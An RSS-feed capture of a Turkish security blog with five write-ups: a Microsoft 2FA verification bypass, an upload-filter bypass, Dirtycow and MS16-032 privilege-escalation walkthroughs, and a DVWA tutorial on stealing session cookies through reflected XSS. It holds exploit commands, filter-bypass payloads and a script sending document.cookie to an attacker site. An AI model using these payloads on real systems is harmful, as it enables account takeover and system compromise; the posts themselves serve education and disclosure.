vulnerability arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Sat, 22 Jun 2019 21:46:34 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png vulnerability arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 EN | Microsoft Authentication Bypass Vulnerability https://canyoupwn.me/en-microsoft-authentication-bypass-vulnerability/ https://canyoupwn.me/en-microsoft-authentication-bypass-vulnerability/#respond Sun, 07 Jan 2018 10:58:15 +0000 https://canyoupwn.me/?p=7369 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Greetings, Summary Vulnerability allows you to confirm a phone number or mail that you own or not.  So you have bypassed the two factor authentication verification. Two-step verification must be active so leak can ocur. At the same time, the 2fa verification must be mandatory by the administrator. You can add the phone number or […]

EN | Microsoft Authentication Bypass Vulnerability Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Greetings,

Summary

Vulnerability allows you to confirm a phone number or mail that you own or not.  So you have bypassed the two factor authentication verification. Two-step verification must be active so leak can ocur. At the same time, the 2fa verification must be mandatory by the administrator. You can add the phone number or e-mail address to the corporate e-mail address without knowing it. This is very big in terms of computer forensic. A criminal offense may appear attached to your email address as confirmed by your phone. So you can be in a criminal position. Think that your phone number has been approved at wannacry’s email address, Hello FBI it’s not me, it’s 0day 🙂

Steps To Reproduce

Step1:

The administrator must approve a two factor authentication and request you to add the phone number from your account when logging in.

Step2:

I tried atony first through phone number. When I realized that I went on from the mail address.

Step 3:

Let us examine the outgoing request when we press the verification buton;

POST /passwordreset/SendEmail.ajax HTTP/1.1
Host: account.activedirectory.windowsazure.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
X-Requested-With: XMLHttpRequest
AjaxSessionKey: null
__RequestVerificationToken: xkbu4lBzTLi4syPavllsrfnvFxXgEWQIGC1sadasdaxxHuzbcu01
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: https://account.activedirectory.windowsazure.com/passwordreset/register.aspx?client-request-id=x&sspr=1
Content-Length: 455
Cookie: flt=0; BOX.SessionCacheKey.SessID=cac246d0-xxxx-4bb5-879c-9xxxxe5ba1; BOX.SessionCacheKey.sspr-reg-ru=https://login.microsoftonline.com/common/SAS/ProcessAuth?request=rxxxxG5dO028RI59EjuJL3VO43C; BOX.CacheKey.CachedCSSFiles=1.0.0.1960:0xxxxxxFEDxx40xDB475A4C0x9B3Fxxxx2487
DNT: 1
Connection: close

p0=%7B%22UserCompanyName%22%3A%22Lostar%22%2C%22MobileCountryCode%22%3A%2290%22%2C%22MobileCountryCodeIndex%22%3A213%2C%22MobilePhoneNumber%22%3A%22x%22%2C%22AltEmail%22%3A%22berk.imran7%40gmail.com%22%2C%22RegistrationAttribute%22%3A%22AlternateEmailAttribute%22%2C%22MobilePhoneValidationOptionKey%22%3A%22%22%7D&assembly=BOX.AzurePortalWebsite, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null&class=Microsoft.Online.BOX.Admin.UI.Register

When I examine the outgoing post request and when I perform url decode;

p0={"UserCompanyName":"Lostar","MobileCountryCode":"90","MobileCountryCodeIndex":213,"MobilePhoneNumber":"{Phone number}","AltEmail":"[email protected]","RegistrationAttribute":"AlternateEmailAttribute","MobilePhoneValidationOptionKey":""}&assembly=BOX.AzurePortalWebsite, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null&class=Microsoft.Online.BOX.Admin.UI.Register

All you need to do is change the phone number or mail address with Proxy. Namely;

p0={"UserCompanyName":"Lostar","MobileCountryCode":"90","MobileCountryCodeIndex":213,"MobilePhoneNumber":"{Phone number}","AltEmail":"[email protected]","RegistrationAttribute":"AlternateEmailAttribute","MobilePhoneValidationOptionKey":""}&assembly=BOX.AzurePortalWebsite, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null&class=Microsoft.Online.BOX.Admin.UI.Register

Step4:

Got e-mail.

Step5:

Boom!

Proof of Concept

Timeline

October 10: Report Submitted
October 16: Report reviewed
October 18 – 21: Discussion
November 17: Report closed as resolved
Final: Award and hall of fame.

Thanks
Best Regards
Berk İmran

EN | Microsoft Authentication Bypass Vulnerability Berk İMRAN

]]>
https://canyoupwn.me/en-microsoft-authentication-bypass-vulnerability/feed/ 0
TR | Ekşi Sözlük App Vulnerability https://canyoupwn.me/tr-eksi-sozluk-app-vulnerability/ https://canyoupwn.me/tr-eksi-sozluk-app-vulnerability/#comments Mon, 10 Jul 2017 19:01:02 +0000 https://canyoupwn.me/?p=7139 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Ekşi okuru ve sıkı yazarı olarak mobil uygulamasının çıktığını ve profil fotoğrafı yükleme özelliğinin geldiğini bu şekilde öğrendim. Sakarya’da kampta olmam sebebiyle gününde bakamadım ama az çok bu zafiyetin var olabileceğini tahmin etmiştim ve doğru da çıktı. Öncelikle uygulamayı incelerken parola bilgilerinin şifrelenmeden gitmesi dikkatimi çekti. POST /token HTTP/1.1 Accept: application/json Content-Type: application/x-www-form-urlencoded Content-Length: 128 Host: […]

TR | Ekşi Sözlük App Vulnerability Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Ekşi okuru ve sıkı yazarı olarak mobil uygulamasının çıktığını ve profil fotoğrafı yükleme özelliğinin geldiğini bu şekilde öğrendim. Sakarya’da kampta olmam sebebiyle gününde bakamadım ama az çok bu zafiyetin var olabileceğini tahmin etmiştim ve doğru da çıktı.

Öncelikle uygulamayı incelerken parola bilgilerinin şifrelenmeden gitmesi dikkatimi çekti.

POST /token HTTP/1.1
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Host: api.eksisozluk.com
Connection: close
User-Agent: okhttp/2.3.0

grant_type=password&username=berk.imran7%40gmail.com&password=blablabla&client_secret=6x8a95c-6xa28-x59ea-9d56-569532x

Profil fotoğrafı yükleme alanından önce normal bir fotoğraf yükledim.

HTTP/1.1 200 OK
Date: Mon, 10 Jul 2017 18:33:59 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 57
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"Success":true,"Message":"image uploaded successfully."}

Başarılı şekilde yüklendi. Şimdi php yzantılı atmayı deneyelim. Dönen istek bu şekilde.

HTTP/1.1 200 OK
Date: Mon, 10 Jul 2017 18:37:51 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 62
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"Success":false,"Message":"please upload image of type .jpg"}

Giden isteği tekrar manipüle ediyorum.

POST /v1/user/forme/upload/avatar HTTP/1.1
Accept: application/json
Authorization: bearer ixJwjW_kYNfwZhDF1LoHcpfK2wEmqPHUNEdLd7YEIGc59drWUUUeK6L4MBZipwme928Q8FsNsgDn9flYfzxAS63vTEhqkM8mbigPjMjPC4IYdJPzuw0UIGUqT_FYFsFmeNvOaT5ToOTdrTuiHZsU-JreWYzNlWvfg7XkBK-G2vhIdb6Gc4_odnsg_kqcjJGSObiIM_g2iqkQuQqrMcGiEOI6mfyWrtvlngWwpZ4eiZe1-mztKHCnrREs_nHePmKd
Content-Type: multipart/form-data; boundary="----MyGreatBoundary"
Content-Length: 25130
Host: api.eksisozluk.com
Connection: close
User-Agent: okhttp/2.3.0

------MyGreatBoundary
Content-Disposition: form-data; name=avatar; filename=avatar.jpg;php; filename*=utf-8''avatar.jpg.php

Ve yükleme başarılı.

Gelelim fotoğrafın nereye yüklendiğini bulmaya. Uygulama üzerinden fotoğrafın adresini öğrenemediğim için tarayıcı üzerinden devam ediyorum.

Doğrulama yapmadığım için haliyle oturum açmadı. Yine proxy aracılığı ile gereken bilgileri veriyorum.

Zafiyet fixlendikten sonra bu yazıyı yazdığım için jpg olarak yükledi.

Burada fotoğrafların direk eksisozluk.com domaininde olmasını ve rootlamaya kadar gitmesini isterdim ama haliyle başka sunucuda çıktı 🙂

Tüm sözlüğe selam olsun 🙂

TR | Ekşi Sözlük App Vulnerability Berk İMRAN

]]>
https://canyoupwn.me/tr-eksi-sozluk-app-vulnerability/feed/ 1
TR | Dirtycow https://canyoupwn.me/tr-dirtycow/ https://canyoupwn.me/tr-dirtycow/#respond Mon, 13 Mar 2017 06:30:53 +0000 https://canyoupwn.me/?p=6494 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

TR | DIRTYCOW Hakkında Dirtycow Linux sistemlerde hak yükseltme zafiyeti olarak bilinmektedir. Dirtycow olarak adlandırılmış ve resmi olarak CVE-2016-5195 etiketini almıştır. Bu zafiyet android sistemlerde dahil olmak üzere tüm linux tabanlı işletim sistemlerini etkilemektedir. Zafiyetin tespiti Red-Hat firmasının araştırmaları sonucu ortaya çıkmıştır. İsmini ise linux çekirdek mekanizmasındaki Copy-On-Write sisteminden almıştır(COW). Çekirdeğin bellek yönetimi esnasında alt sistemlerinde yazma […]

TR | Dirtycow Murat TORAMAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

TR | DIRTYCOW

Hakkında

Dirtycow Linux sistemlerde hak yükseltme zafiyeti olarak bilinmektedir. Dirtycow olarak adlandırılmış ve resmi olarak CVE-2016-5195 etiketini almıştır. Bu zafiyet android sistemlerde dahil olmak üzere tüm linux tabanlı işletim sistemlerini etkilemektedir. Zafiyetin tespiti Red-Hat firmasının araştırmaları sonucu ortaya çıkmıştır. İsmini ise linux çekirdek mekanizmasındaki Copy-On-Write sisteminden almıştır(COW). Çekirdeğin bellek yönetimi esnasında alt sistemlerinde yazma sırasında kopyalama işlemini gerçekleştirirken yarış koşullarından yaralanılarak(bkz : race condition , kernel race condition) yetki yükseltme işleminin gerçekleşmesi hatasıdır. Bu hatayı Phil Oester keşfetmiştir. Fakat Linus Torvalds bu açığı daha önceden bildiğini ve düzeltmeye çalıştığını bunun üzerine başarısız olduğunu , bulunduğu zaman dilimi içerisinde bunun zor olduğunu ve o şekilde bıraktığını itiraf etmiştir.

Tarihçe

Zafiyetin Eylül 2007 de piyasaya sürülen 2.6.22 sürümünden bu yana Linux çekirdeğinde bulunduğu belirtilmektedir. Ayrıca bu zafiyetin Ekim 2016 tarihine kadar sömürüldüğüne dair iddialar bulunmaktadır. Sürecin bu kadar uzun olması ve zafiyetin bu süreç içerisinde düzeltilmemesi saldırganlar için velinimet olması aşikardır. Bu zafiyetin 4.8.3 , 4.7.9 , 4.4.26 ve daha yeni çekirdek sürümlerinde düzeltildiği belirtilmektedir. Bu yüzden kendi çekirdek sürümümüzü (bkz: kernel version) güncellememiz gerekmektedir. Bir başka konuya değinmek gerekirse bu da android sistemlerdeki zafiyettir. Kendi çekirdeğimizi güncellemek daha kolay olabilir fakat android sistemlerde gerek güncellemelerin alınması gerek bu güncellemelerle çekirdek versiyonun yükseltilmesi ne kadar mümkün tartışılabilir. Ayrıca büyük şirketler bazı eski cihazlardan desteğini çekmesi gibi bir konuda mevcut. Bu bilgiler ışığında piyasada bu zafiyete sahip birçok android cihazın bulunduğunu öngörmek çokta yanlış değildir.

Açıklama

Bu zafiyeti incelerken neler yapacağız belirtmek gerekirse Copy-On-Write özelliğinde ki hatayı kullanarak sadece okuma yetkisi verilmiş bir dosyaya herhangi bir root yetkisinde olmayan bir kullanıcı yetkisi ile bir şeyler yazmaya çalışacağız. İlk olarak bu dosyaya bir şeyler yazmayı denediğimizde ‘permission denied’ hatasını alacağız. Ve bu hatayı Dirtycow zafiyetini kullanarak aşmaya çalışacağız. Daha sonra ise root yetkisine erişmeyi deneyeceğiz. Benim bu zafiyeti test etmek için kullandığım sistem Ubuntu 14.04 LTS işletim sistemidir. Bu işletim sistemi kernel versiyonu ise 4.4.0-31-generic sürümüdür. Şimdi ekran görüntüleriyle bu zafiyeti uygulamalı olarak inceleyelim.

İnceleme

İlk olarak kullanıcı yetkimizi ve kernel sürümüzü görelim. Bunun için aşağıdaki komutları kullanabiliriz.

id
uname -r

  • id  ile canyoupwnme kullanıcısının bilgilerini görmekteyiz.
  • Şimdi uname -r ile çekirdek sürümümüzü kontrol edelim.

  • Böylece çekirdek sürümümüzün 4.4.0-31-generic olduğunu görmekteyiz.

Şimdi gerçekleştireceğimiz test işlemlerine geçelim. İlk olarak aşağıda vereceğim siteyi incelemenizi öneriyorum.

https://dirtycow.ninja/

Burada Dirtycow hakkında bilgi alabilirsiniz ve yazılan exploiti indirebilirsiniz. View Exploit kısmına tıklarsanız sizi Dirtycow exploitinin bulunduğu github reposuna yönlendirmektedir. Buradan Dirtycow exploitini indirelim.

Ayrıca aşağıda vereceğim link üzerinden de ulaşabilirsiniz.

https://github.com/dirtycow/dirtycow.github.io

  • Burada dirtycow sitesinin anasayfasını görmekteyiz. View Exploit diyelim veya yukarıda verdiğimiz bağlantıya tıklayalım.

  • Bu kısımda gördüğünüz dosyalardan dirtyc0w.c isimli exploit dosyasını kullanacağız. Bu dosyayı değişik yollardan sisteme indirebiliriz ben wget kullanacağım. Ayrıca bu repo üzerinden exploitin kaynak kodlarını inceleyebilirsiniz.

 

  • Kullandığım komut :
  • wget dirtycow.github.io/dirtyc0w.c
  • Böylelikle exploitimizin yazıldığı .c uzantılı dosyamızı indirmiş olduk.

 

  • Dosyamızı indirdikten sonra yapacağımız işlem bu dosyayı derlemek. Bu bir c dosyası olduğundan dolayı gcc ile derleyerek çalıştırılabilir dosya haline getirelim.
  • Dosyamızı derlemek için kullanacağımız komutu aşağıda verelim.
  • gcc -pthread dirtyc0w.c -o canyoupwnme

     

  • Dosyamız derlendikten sonraki ekran görüntüsünü görelim.

  • Böylelikle exploitimizi çalıştırılabilir dosya haline getirdik. Şimdi ise yazma yetkisi olmayan bir dosya içine birşeyler yazmayı uygulamalı olarak gösterelim.
  • Bunun için bir text dosyası oluşturalım ve izinlerini ayarlayalım.
  • Komutlar:
  • echo CanyoupwnmeDeneme > cypwntest.txt
    
  • chmod 0404 cypwntest.txt  komutu ile dosyamıza sadece okuma izni verelim.

  • Bu dosyanın izinlerini görelim.

  • Görüldüğü üzere dosyamız sadece okuma yetkisine sahiptir. Biz yinede nano metin editörü ile bu dosyaya bir şeyler yazalım ve kaydetmeyi deneyelim.
  • nano cypwntest.txt komutu ile dosyamızın içine bir şeyler yazalım.
  • Daha sonra kaydetmek istediğimizde ekran görüntüsü aşağıdaki gibi olacaktır. Ve ‘Permission Denied’ hatası alacağız. Çünkü dosyaya yazma iznimiz yoktur.

Exploit Aşaması

  • Görüldüğü üzere yazma yetkimiz olmadığı için hatayla karşılaştık. Şimdi zafiyeti exploit ederek dosya içine birşeyler yazalım.
  • ./canyoupwnme cypwntest.txt Möööööööö  komutu ile dosya içerisine ‘Möööööööö’ yazdıralım.

  • Komutumuzu çalıştırdıktan sonra işlem tamamlandığında bu ekranı görmekteyiz. Şimdi dosyamızı okuyalım bakalım değişiklik olmuş mu ? Daha önceden dosya içerisinde CanyoupwnmeDeneme yazdığını biliyorduk.

  • Görüldüğü üzere zafiyeti kullanarak sadece okuma yetkisine sahip bir dosya üzerinde yazma işlemini uygulamış olduk. Bunu root yetkisi olmadan sistem açıklığından faydalanarak gerçekleştirdik. Bunu saldırganlar sistem dosyaları ve önemli dosyalarımız üzerinden kullanarak zarar vermeye çalışabilir. Bu yüzden çekirdek sürümümüzü güncellememiz gerçekten önem arz etmektedir.
  • Şimdide sistemde zafiyeti kullanarak root yetkisi elde etmeyi deneyelim.
  • Bunun için aşağıdaki linkten c0wroot.c dosyasını sistemimize indirelim. Ve daha sonra zip içerisinden çıkaralım.
  • https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679

 

  • Buradan Download ZIP kısmından dosyamızı zip olarak indirebiliriz. İndirip çıkartalım.

 

  • Zip içerisinde c0wroot.c dosyamızı görmekteyiz. Çıkardıktan sonra tekrar derleme işlemlerini yapıp exploiti çalıştırmayı ve root olmayı deneyelim.

 

  • Görüldüğü gibi dosyamızı derledik. Bu işlemi şu komutla gerçekleştirebiliriz:
  • gcc -pthread c0wroot.c  -o cypwnROOT
  • Root olmak için exploit kaynak kodunu derleyerek çalıştırılabilir dosya haline getirdik. Şimdi dosyamızı çalıştıralım ve sonuçlarını görelim. Ayrıca çalıştırmadan önce ve sonraki id değerlerine göz atalım.

  • Görüldüğü üzere exploitimizi çalıştırdıktan sonra root yetkisine erişmekteyiz.

Sonuç

Bu yazımızda  Dirtycow zafiyeti ile sadece okuma yetkisine sahip bir dosya üzerinde yazma işlemi gerçekleştirdik. Ve ayrıca root yetkisine erişmiş olduk. Bu zafiyetten kurtulmak için çekirdek sürümümüzü yükseltmemiz önemlidir. Ayrıca geliştirilmekte olan işletim sistemleri için öncelikli güvenlik tavsiyesi güncelleştirmeleri takip etmektir. İşletim sistemimizi her zaman güncel tutmamız tavsiye edilmektedir.

 

 

 

 

TR | Dirtycow Murat TORAMAN

]]>
https://canyoupwn.me/tr-dirtycow/feed/ 0
TR | System Privilege Escalation Vulnerability (MS16-032) https://canyoupwn.me/tr-ms16-032-vulnerability/ https://canyoupwn.me/tr-ms16-032-vulnerability/#respond Fri, 10 Jun 2016 11:19:10 +0000 https://canyoupwn.me/?p=2606 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Powershell betiğini kullanarak bu MS16-32 zafiyeti ile hak yükseltme saldırısıdır. Bu zafiyet Secondary Logon servisindeki bug dan kaynaklanıyor. Secondary Logon servisi; Windows işletim sisteminde oturumu kapatmadan farklı bir kullanıcı olarak sistemde bir oturum elde etme veya komut çalıştırmadır. Örneğin “Run as” yani “farklı çalıştır” komutu windows işletim sisteminde, herhangi bir programı veya servisi giriş yapmış […]

TR | System Privilege Escalation Vulnerability (MS16-032) CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Powershell betiğini kullanarak bu MS16-32 zafiyeti ile hak yükseltme saldırısıdır. Bu zafiyet Secondary Logon servisindeki bug dan kaynaklanıyor.

Secondary Logon servisi; Windows işletim sisteminde oturumu kapatmadan farklı bir kullanıcı olarak sistemde bir oturum elde etme veya komut çalıştırmadır. Örneğin “Run as” yani “farklı çalıştır” komutu windows işletim sisteminde, herhangi bir programı veya servisi giriş yapmış olduğunuz kullanıcıdan farklı bir kullanıcı hesabıyla çıkış yapmadan kullanabilmenizi sağlar.

Bu zafiyetten etkilenen systemler: vista, 7, 8.1,10, windows server 2008, 2012

Exploit

Not: İstismarın gerçekleşmesi için işletim sisteminin en az 2 çekirdeği olmalıdır.

  • Exlolit kodunu
    exploit-db.com/exploits/39719/

    adresinden elde edebilirsiniz.

  • Betik çalıştırılmadan önce normal bir user olarak oturum açıyoruz.
  • Indirilen exploitimizi module import yapıyoruz
    Import-Module .\MS16-032.ps1

     

Import-module

  • Yukarıda ki gibi hata alabilirsiniz. Çünkü scriptlerin çalıştırılma özelliği kapalıdır. Bunu aktif hale getirmek için “powershell.exe -ExecutionPolicy Bypass” komutunu yazarak aktif hale getirebiliriz

bypass

  • En son olarak da çalıştırdığımızda betiğimizi. Bu komut ile “Invoke-MS16-032”

Invoke

  • Mutlu son

root

TR | System Privilege Escalation Vulnerability (MS16-032) CanYouPwnMe

]]>
https://canyoupwn.me/tr-ms16-032-vulnerability/feed/ 0
TR| How to Steal Cookie with XSS https://canyoupwn.me/tr-how-to-use-xss/ https://canyoupwn.me/tr-how-to-use-xss/#respond Thu, 19 May 2016 09:21:47 +0000 https://canyoupwn.me/?p=2308 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

XSS Nedir ? Netscape , javascript dilinin tarayıcılarda çalıştırabileceğini duyurduğunda web sunucusu tarafından gönderilen ve istemcide çalıştıralabilen kodların güvenlik riskleri yaratabileceğini göstermiş oluyordu.Örneğin bir sayfadan çalıştırılan betik diğer bir sayfaya ulaşabilecekti.İşte bu noktada xss açıkları kullanılabilecekti.Açılımı Cross-Site Scripting olan Xss saldırıları Reflected XSS ve Stored XSS olmak üzere ikiye ayrılmaktadır.Reflected XSS saldırısı bir web uygulamasının […]

TR| How to Steal Cookie with XSS CypmUni PAÜ

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

XSS Nedir ?

Netscape , javascript dilinin tarayıcılarda çalıştırabileceğini duyurduğunda web sunucusu tarafından gönderilen ve istemcide çalıştıralabilen kodların güvenlik riskleri yaratabileceğini göstermiş oluyordu.Örneğin bir sayfadan çalıştırılan betik diğer bir sayfaya ulaşabilecekti.İşte bu noktada xss açıkları kullanılabilecekti.Açılımı Cross-Site Scripting olan Xss saldırıları Reflected XSS ve Stored XSS olmak üzere ikiye ayrılmaktadır.Reflected XSS saldırısı bir web uygulamasının linkinde eğer parametre varsa ve bu parametrenin değeri sayfaya çıktı olarak “yansıtılıyorsa” saldırganların bu mekanizmayı kullanarak kendi değerlerini sayfaya yansıttırması işlemine denir. Reflected türkçe olarak zaten yansıtılmış anlamına gelir.Deneme yanılma yaparak bulununan bu açıklar ile saldırgan, başka bir alan adından, açığın bulunfuğu alan adı ve sayfanın bilgilerini,oturum ayrıntılarını ve diğer nesne değerlerini çalabilmektedir.Stored XSS ise kalıcı hedef siteye kalıcı hasarlara yol açabilir. Örneğin o sitenin veritanına enjekte edilmiş komutlar ile kalıcı hasarlar verilmiş olur.

 

A.XSS Nasıl Kullanırız ?

1) XSS açığı mevcut mu ?

Deneme yanılma ile bunu bulmaya çalışıyoruz. Örneğin, dwva nın bize sunduğu xss açığında input’a gelip <script>alert(‘Sayfa XSS Açığına Sahip’)</script> yazdığımız zaman ekrana aşşağıdaki gibi bir aler alabiliyorsak bu sistemde açık mevcut demektir.

Not: XSS zafiyetlerini chrome tarayıcısı engellemektedir fakat kaynak kodu görüntülediğimizde kırmızı renklendirdiğini görebilirsiniz. Makalemde Firefox web tarayıcısını kullanacağım.

1

 

2.) XSS mevcut ise neler yapabiliriz ?

Bu açığı uygulamak için bir web uygulamasına ihtiyacımız var biz burada örnek olarak DVWA kullanacağız. Öncelikle bunun kurulumunu yaparak başlıyoruz. Aşşağıdaki linkten gerekli dosyayı indiriyoruz.
https://github.com/RandomStorm/DVWA/archive/v1.9.zip

İnecek dosyayı kurulu işletim sistemimizde çalışan web sunucusunun ( Apache – Nginx – LiteSpeed – Python simple web server vb ) çalıştırılabilir dizinine çıkartıyoruz. Ben kurulumu apache web sunucusu üzerine devam ettireceğim, kullandığım işletim sistemi Linux dağıtımı olduğu için dosyamı çıkartacağım dizin “ /var/www/html” dizini olacaktır. Windows bir bilgisayarda XAMP kurulu ise “C://xamp/htdocs”, OS X işletim sistemine sahip olan bilgisayarda MAMP kurulu ise, “Applications/MAMP/htdocs/” dizini altına çıkarmanız, değil ise kullandığınız web sunucunun çalıştırılabilir kök diznine yerleştirmeniz gerekmektedir.

Sisteminizde bulunan herhangi bir metin düzenleyici aracılığı ile ilgili dosyayı açıp düzenlemeniz gerekmektedir, yazımda ben sublime text 3 editörünü kullandım.
Terminal:

subl /var/www/html/DVWA-1.0/config/config.inc.php

Bu işlemleri yaptıktan sonra dvwa-1.9’un içerisinde yer alan config klasörüne geliyoruz ve buradaki config.inc.php dosyasını metin editörü ile açıyoruz.
2

Burada yer alan ‘p@ssw0rd’ olan kısımı root olarak yada kendi şifremiz ne ise onunla değiştiriyoruz.
Son olarakta tarayıcımızda localhostumuzdan bu dvwa yı açıp create database dediğimizde kurulumu bitirmiş oluyoruz. Username’e “admin”, şifre kısmına ise “password” yazarak DVWA sistemine giriş yapmış bulunuyoruz. DVWA standart olarak bu kullanıcı adı ve şifresini atamaktadır.
Bunun ardından DVWA Security sekmesine tıklayıp güvenlik düzeyini low’a getiriyoruz. ( Giriş seviyesinde zorluk )

3

 

Yukarıdaki gibi uyarıyı alabiliyorsak , hedef sitedeki ziyaretçinin o anki DVWA’ya ait olan çerezini ele geçirebiliriz.Böylece hedef sitede kurbanın kullanıcı adı ve şifresini bilmeden kurbanın çereziyle hedef sitede kurban yetkileri ile dolaşabiliriz.Peki bu işlemi nasıl gerçekleştiririz ?

Link:

http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=<script> window.location.href=”bizimsitemiz.com/index.php?cookie=” + document.cookie;</script>

Bu linkte gördüğümüz <script> window.location.href=”saldirganinsitesi.com/index.php?cookie=” + document.cookie;</script> script kodu başka bir sayfaya yönlendirmeye yarar ve cookie değerini bizim sitemize göndermemizi sağlar. Hazırladığımız index.php dosyasının içeriği aşağıdaki gibidir;

Screenshot_20160519_120541

 

B.Nasıl Uygularız ?

1.Low level DWVA :

Eğer Linux’ta DVWA’yı çalıştırıyorsanız /var/www/ dizini içerisinde “bizimsitemiz” adlı bir klasör oluşturun, Windows’ta DVWA’yı çalıştırıyorsanız C:\xampp\htdocs\ dizini içerisinde “bizimsitemiz” adlı bir klasör oluşturun. Bu klasörün içerisine index.php adlı bir dosya oluşturun ve dosyanın içerisine yukarıdaki php kodunu ekleyip kaydedin.
Linux dosya sisteminin gereği olan sonradan eklenen dosyaların güvenlik açısından yetkilendirilmesi zorunluğundan terminalimizden ilgili klasöre yetkilendirme vermeliyiz.

Terminal:

sudo chmod -R 777 /var/www/html/bizimsitemiz

Bu komutu uzak sunucunuzda kullanmanız güvenlik açısından zaafiyet oluşturacaktır.

4

 

Daha sonra belirlediğimiz kurbana göndereceğimiz link aşşağıdaki gibidir;

http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=<script>window.location.href="http://localhost/bizimsitemiz/index.php?cookie="%2Bdocument.cookie</script>

Kurban bu linke tıkladığı anda çerezini bize göndermiş olur.Bizde gelen bu değerleri dosyamıza yazdırmış oluruz.Şimdi biz hem kurban hemde saldırgan olarak bu senaryoyu gerçekleştirelim.

Firefox tarayıcımızdan kurban gibi verilen linke tıklayalım.

5

 

Bu ekranla karşılaşırız.Daha sonra cookie.html dosyamızı açıp oradaki cookie değerimizi kopyalayalım.

6

 

Daha sonra crome tarayacımızdan aşşağıdaki linki açalım ,

https://chrome.google.com/webstore/category/extensions?hl=tr

ve buradaki arama çubuğuna edit this cookie yazalım.Sonuçlar arasındaki EditThisCookie adlı eklentiyi crome’a ekleyelim.

7

 

Şimdi dvwa nın login sayfasına gelelim.

8

 

Daha sonra açılan sayfamızda sağ üstte bulunan yeni eklediğimiz eklentimizi açalım.

9

 

Buradaki security değerine low yazalım.Bunun ardından PHPSESSID sekmesine geçelim.

10

 

Daha sonra kopyaladığımız cookie değerini buraya yapıştıralım ve alttaki yeşil tike tıklayakım.
Son olarak yeni sekmeye geçelim ve tekrar DVWA’nın login ekranını açalım.Bu işlemi yaptığımızda bizi aşağıdaki gibi bir sayfa karşılayacaktır.

11

 

Gördüğünüz gibi kurbanın kullanıcı adı ve şifresini öğrenmeden sisteme o imiş gibi girebildik.

2.Medium Level DWVA:

Medium leveldeki kaynak kod;

Screenshot_20160519_121337

burada aldığı önlem str_replace komutu sayesinde gerçekleşir. Eğer ‘<script>’ gelirse önünde arkasında ne olursa olsun sil anlamına gelir.Bu güvenlik önlemini aşabilmek için <scr<script>ipt>alert(‘Sayfa XSS açığına sahip!’);</script>  şeklinde bir kod girersek bu önlemi aşmış oluruz ve alerti alabiliriz.

3.High Level DWVA:

High leveldeki kaynak kod;

Screenshot_20160519_121506

burada gördüğümüz üzere ;

/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i

Dikkat ederseniz (.*) kısımlarını regular expression’dan çıkarırsanız <script kelimesini göreceksiniz. <script’in aralarına konulan (.*) ile yapılmak istenen şudur: “<script yazısının başında, ortasında, sonunda, her yerinde başka karakter olabilir. Böyle bir desen bulursan onu komple sil”.

Bu güvenlik önlemini nasıl aşabiliriz ?
Tahmin edebileceğiniz üzere bu önlem sadece script tagleri için alınmıştır ancak biz burada hala alert alabilmemiz mümkündür bunu hmtl eventleri ile sağlayabiliriz.

<input type="text" onchange="alert('XSS Açığı Mevcut');">

Bu kodu gönderdiğimizde bir input daha açılacaktır bu eventi çalıştırabilmiş olacağız, ve yeni inputun içine yazabileceğimiz her yazı için alertimizi görebiliriz.

C.Korunma Yöntemleri

1)Kaynak Kod Önlemleri

Kaynak kodumuzda alacağımız önlemler bu konuda etkilidir.Makalemde kullandığım DWVA’nın bütün aşamalarının kaynak koduna baktığımızda alınan güvenlik önlemlerini görebiliriz.

2)Eklentiler

Uygulama güvenliğiniz için XSS vb. saldırılara karşı geliştirişmiş eklentiler mevcuttur.Bunlardan en sık kullanılanları : AntiXss ,HTML Purifier vb. eklentilerdir.Bu eklentileri kullanmanızı tavsiye ederim.

3)HTTP Güvenlik Komutları

HTTPOnly, Microsoft tarafından geliştirilmiştir. HTTPOnly’nin yaptığı iş cookie verilerimizi korumaktır.Cookie bilgilerinde HTTPOnly imzası taşıyan tanımlama bilgilerine,sadece HTTP protokolü tarafından erişim sağlanabilir.Yani bir XSS saldırısına mağrus kalmanız durumunda , tanımlama bilgilerinizde HTTPOnly imzası varsa tarayıcı bilgileri dışarıya aktarmayacaktır.

TR| How to Steal Cookie with XSS CypmUni PAÜ

]]>
https://canyoupwn.me/tr-how-to-use-xss/feed/ 0
